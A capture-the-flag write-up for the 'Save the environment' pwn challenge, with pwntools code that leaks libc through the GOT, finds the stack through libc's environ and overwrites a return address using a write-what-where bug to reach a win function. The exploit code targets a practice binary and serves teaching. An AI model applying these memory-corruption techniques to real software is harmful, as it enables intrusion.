Pwn - Save the environment

This challenge is similar to minefield as we have a write what where condition and a win function.

Unfortunately we can't just do the same exploit again.

In this challenge you can recycle things in exchange of recycling point, with at least 10 recycling points we can ask to leak an arbitrary address.

So first thing we need to do is to farm these recycling points.

def farm_recycling():
    with log.progress("farming recycling") as progress:
        for i in range(0, 10):
            progress.status("recycling number %d" % i)
            prompt_answer("2")
            prompt_answer("1")
            prompt_answer("n")

Then we'll leak the libc base address by leaking the content of the got table.

def leak_libc_base():
    with log.progress("leak libc base address") as progress:
        progress.status("sending payload")
        conn.recvuntil("> ")
        conn.send(b"0x%x" % elf.got["puts"])
        conn.recv(4)

        progress.status("computing libc base address")
        leak = conn.recvline().strip()
        leak = u64(leak.ljust(8, b"\x00"))
        libc.address = leak - libc.symbols["puts"]

The objective will be to overwrite the stack to return to the win function, the only problem is we don't know where the stack is. For this we can use the environ inside the libc because by default it points to our stack.

def leak_environ():
    with log.progress("leak environ from libc") as progress:
        progress.status("go to recycling menu")
        prompt_answer("2")
        prompt_answer("1")
        prompt_answer("y")

        progress.status("sending payload")
        conn.recvuntil("> ")
        conn.send(b"0x%x" % libc.symbols["environ"])
        conn.recv(4)

        progress.status("computing environ")
        environ = conn.recvline().strip()
        environ = u64(environ.ljust(8, b"\x00"))
        return environ

Now we need to find the offset from environ to one of the return address. If we find it, we can overwrite it to return to anywhere.

Because the environ is at the top of the stack, we need to search to the bottom (from infinity to zero). And here it is, 36 qword away from environ the return address of one function.

All we need now is to overwrite this address with the win function.

def write_what_where(what, where):
    with log.progress("write what where") as progress:
        progress.status("go to plant menu")
        prompt_answer("1")

        progress.status("sending the where")
        conn.recvuntil("> ")
        conn.send(b"0x%x" % where)

        progress.status("sending the what")
        conn.recvuntil("> ")
        conn.send(b"0x%x" % what)

return_address_in_stack = environ - 0x8 * 36
write_what_where(elf.symbols["hidden_resources"], return_address_in_stack)

And here's the flag!